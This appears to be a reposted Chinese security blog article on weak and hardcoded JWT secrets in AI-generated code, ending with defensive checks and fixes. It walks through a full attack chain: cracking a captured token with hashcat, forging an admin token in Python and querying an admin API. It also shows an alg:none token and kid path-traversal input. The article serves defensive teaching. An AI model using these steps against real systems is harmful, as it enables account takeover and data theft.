文章总结: 文档揭示AI生成的JWT认证代码中45%存在弱密钥或硬编码漏洞,攻击者可通过Hashcat在2分钟内爆破密钥并伪造任意用户身份。研究指出不同AI模型存在特定弱密钥指纹,并演示完整攻击链及算法混淆、alg:none绕过等衍生风险。文末提供32字节随机密钥生成、环境变量配置、算法锁定等5条可落地的防御方案。 综合评分: 87 文章分类: 漏洞分析,AI安全,WEB安全,渗透测试,安全建设
Vibe Coding JWT密钥还是secret-key-here?AI代码藏巨大弱点!
原创
我真tm厉害 我真tm厉害
黑客茶话会
2026年4月14日 13:57 山东
在小说阅读器读本章
去阅读
安全预警
VibeCoding
JWT安全
你的JWT密钥还是”secret”?
AI写的代码,九成用弱密钥,一分钟即可被爆破
2025年以来,VibeCoding浪潮让大量开发者用AI写出”能跑的代码”——但安全研究人员的审计发现,AI生成的JWT认证代码里,近45%存在弱密钥或密钥硬编码问题。攻击者用Hashcat,2分钟内即可爆破并伪造任意用户身份。本文揭秘AI代码的密钥”指纹”规律,演示完整攻击链,并给出可落地的防御方案。
一、VibeCoding时代的JWT认证:快则快矣,险则险矣
用Cursor、Claude Code或ChatGPT搭一个带用户登录的Web应用,AI几乎必然给你返回一段JWT代码。这是行业惯例——JWT(JSON Web Token)轻量、无状态、前后端分离友好,是目前最主流的无状态认证方案。
问题出在哪?JWT的安全性,完全依赖签名密钥(SECRET)的强度。密钥一旦被攻击者获取,对方可以伪造任意用户的合法Token,不限权限、不限时效。
而AI在生成示例代码时,为了让代码”先跑起来”,会选择最简单的密钥写法。研究机构Invicti的调查揭示了一个惊人细节:
不同AI模型的”偏好密钥”(真实发现)
ChatGPT/GPT-4: your-secret-key / secret
Claude: your-256-bit-secret / my-secret-key
Cursor内置: jwt_secret_key / change-this-in-production
通用模型: secret123 / password / admin123
这些被研究者称为“模型指纹”——每个模型都有一组重复偏好的弱密钥。攻击者只需判断应用由哪款AI构建,就能有针对性地投喂字典,效率极高。
| | | | — | — | | 45% AI生成代码含安全漏洞 (Veracode 2026报告) | 2.74x AI代码漏洞密度 是人工编写代码的倍数 | | <2分钟 Hashcat爆破常见 弱JWT密钥的平均耗时 | 340+ 已被公开整理的 常见弱JWT密钥字典条目 |
二、JWT弱密钥:原理与危害
JWT由三个Base64URL编码的部分组成,用”.”拼接:
JWT结构
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ3aWVuZXIiLCJyb2xlIjoidXNlciJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Header(算法类型) . Payload(用户数据) . Signature(用SECRET签名)
关键在第三段:Signature = HMAC-SHA256(Header + “.” + Payload, SECRET)。
JWT的妙处在于:服务端不存Session,只需用SECRET重新计算一遍签名,和Token里的第三段对比,一致就认可。但这里有个致命前提——Payload是明文,任何人都能读取和篡改它,真正保障不可篡改的只有SECRET。
如果SECRET是secret这样的弱密钥,攻击者可以:
- 离线爆破:无需与服务器交互,拿到一个合法Token后,本地跑字典,尝试各种密钥重新计算签名,匹配即破解
- 伪造Token:得到SECRET后,构造任意Payload(如
"role":"admin"),用SECRET重签,服务端完全接受 - 权限提升:普通用户变管理员,控制任意账户,甚至拿到整个用户数据库
三、AI代码的弱密钥”模式库”
Wallarm安全团队从公开代码仓库提取了340+个高频弱JWT密钥,其中大量来自AI生成代码的典型模式:
| 类型 | 典型示例 | 风险 | | — | — | — | | 通用弱密码 | secret, password, key, 123456 | 极高 | | 教程占位符 | your-256-bit-secret, YOUR_SECRET | 极高 | | 默认配置值 | jwt-secret, secretkey, jwt_secret_key | 高 | | AI提示词残留 | change-this-in-production, todo-replace | 极高 | | 短字符串 | abc, 1234, jwt, key1 | 极高 | | 项目名衍生 | myapp_secret, projectname123 | 高 |
最危险的情况:AI生成的代码往往在注释里写了”记得修改为安全密钥”,但开发者在兴奋地部署应用时直接忽略了这行注释。据checkvibe.dev统计,超过60%的VibeCoded应用在部署时没有替换默认密钥。
四、攻击实战:一分钟拿下弱JWT系统
以下演示的是渗透测试场景下的标准JWT弱密钥利用流程,对应PortSwigger Web Security Academy的官方实验。
▍第一步:获取目标JWT Token
正常登录,从响应中提取JWT(位于Cookie或Authorization头)
curl -s -c – https://target.com/login -d ‘user=test&pass=test123’
保存Token到文件
echo “eyJhbG…SflKxw” > jwt.txt
▍第二步:Hashcat字典爆破
-m 16500 = JWT哈希类型,-a 0 = 字典攻击
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/jwt.secrets.list
典型输出(弱密钥secret1,耗时<1分钟)
eyJhbG…SflKxw:secret1
Session……….: hashcat Status………..: Cracked
▍第三步:伪造管理员Token
Python伪造管理员Token
import jwt
forged = jwt.encode(
{“sub”: “administrator”, “role”: “admin”, “exp”: 9999999999},
“secret1”, # 刚刚爆破出来的密钥
algorithm=”HS256″
)
▍第四步:以管理员身份访问任意接口
curl -H “Authorization: Bearer {forged}” https://target.com/api/admin/users
返回:{“users”:[…全量用户数据…]} ← 完全沦陷
五、不止弱密钥:AI代码的四大JWT攻击面
弱密钥只是JWT安全问题的冰山一角。AI生成的JWT代码还会带来其他危险漏洞:
① 算法混淆攻击(Algorithm Confusion)
AI常生成 algorithms=['RS256','HS256'] 这样的多算法配置,允许客户端自选算法。攻击者可以把RS256的公钥当作HS256的HMAC密钥来签名——公钥是公开的,相当于零成本伪造。
❌ 危险:允许多种算法
jwt.decode(token, public_key, algorithms=[‘RS256’, ‘HS256’])
✅ 安全:严格指定单一算法
jwt.decode(token, public_key, algorithms=[‘RS256’])
② alg:none 绕过
JWT标准定义了 alg:none 表示不签名。某些AI生成的验证逻辑没有拒绝这个值,攻击者构造头部为 {"alg":"none"}、签名段为空的Token,直接绕过签名验证。
攻击者构造的Token(签名段为空)
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiJ9.
③ KID参数注入
当JWT头部包含 kid(密钥ID)字段,AI生成的代码可能直接用它从数据库或文件系统读取密钥。攻击者可以注入路径遍历(../../../etc/passwd)或SQL语句,劫持密钥选择逻辑。
④ 密钥硬编码泄露
AI生成的代码不会主动考虑.gitignore。一旦开发者git push,包含JWT_SECRET=your-secret-key的.env文件可能就随代码一起上传GitHub。即便之后删除,密钥仍永久存在于Git提交历史中,攻击者可用TruffleHog等工具扫描全库历史,轻松还原。
六、五分钟自查:看看你的代码有没有中招
① 扫描源码中的弱密钥关键词
grep -rn “jwt_secret|JWT_SECRET|your-secret|secret123|change-this” . –include=”*.py” –include=”*.js” –include=”*.env”
② 检查.env是否被Git跟踪
git ls-files | grep “.env”
如果有输出,说明.env已在Git跟踪中,密钥可能已经泄露
③ 扫描Git历史中的密钥
git log –all -p | grep -i “jwt_secret|secret_key|api_key” | head -30
④ 检查JWT验证代码是否允许多算法
grep -rn “algorithms=[” . | grep -v “RS256′]”
如果出现多个算法或包含’none’,需立即修复
七、防御清单:VibeCoding JWT安全最佳实践
✅ 密钥强度:最少32字节随机熵
❌ 危险
JWT_SECRET = “secret”
✅ 安全:生成32字节随机密钥
python -c “import secrets; print(secrets.token_urlsafe(32))”
→ “YjNmZWM2NTkwMTk4ZjkwNzFlZGNhZmFi…” # 256位以上
✅ 严格锁定算法,禁用多算法选择
❌ 危险:允许token自选算法
jwt.decode(token, key) # 未指定algorithms
✅ 安全:强制单一算法
jwt.decode(token, key, algorithms=[“HS256”]) # 明确指定
✅ 密钥通过环境变量注入,永不硬编码
Python
import os; JWT_SECRET = os.environ[“JWT_SECRET”]
Node.js
const secret = process.env.JWT_SECRET;
如果未配置则启动报错,强制运维关注
if (!secret) throw new Error(“JWT_SECRET not set!”);
✅ 验证所有Payload字段,设置合理的过期时间
生成时必须设置exp,access token建议15分钟
{“sub”: uid, “exp”: datetime.utcnow() + timedelta(minutes=15)}
✅ 上线前跑一遍Gitleaks / TruffleHog扫描
扫描当前目录(Gitleaks)
gitleaks detect –source . –verbose
扫描Git全历史(TruffleHog)
trufflehog git file://. –only-verified
写在最后
VibeCoding改变了开发速度,也改变了安全的风险面。AI不会理解”这是生产环境,密钥要换掉”——它只知道”先让代码跑起来”。开发者的任务,是在享受AI速度的同时,把安全意识补回来。
JWT的本质是一张”签发凭证”。签凭证的笔——密钥——放在地上,任何人都能捡起来仿造。别因为急着上线,把整个系统的钥匙插在了门上。
🔐 VibeCoding JWT安全5条军规
| |
| — |
| ① 密钥 ≥ 32字节,用 secrets.token_urlsafe(32) 生成 |
| ② 密钥只存环境变量,永不出现在源码 |
| ③ 验证时锁死算法,不接受 none 或多算法 |
| ④ .env 加入 .gitignore,提交前跑 Gitleaks |
| ⑤ 密钥一旦疑似泄露,立刻轮换,视旧密钥为已失陷 |
本文内容基于公开安全研究,仅供安全研究与防御学习,请勿用于未经授权的测试。
参考来源:Veracode 2026安全报告 / Invicti AI代码审计 / PortSwigger Web Security Academy / Wallarm JWT密钥数据库 / ToxSec安全博客
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:黑客茶话会 我真tm厉害 我真tm厉害《Vibe Coding JWT密钥还是secret-key-here?AI代码藏巨大弱点!》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论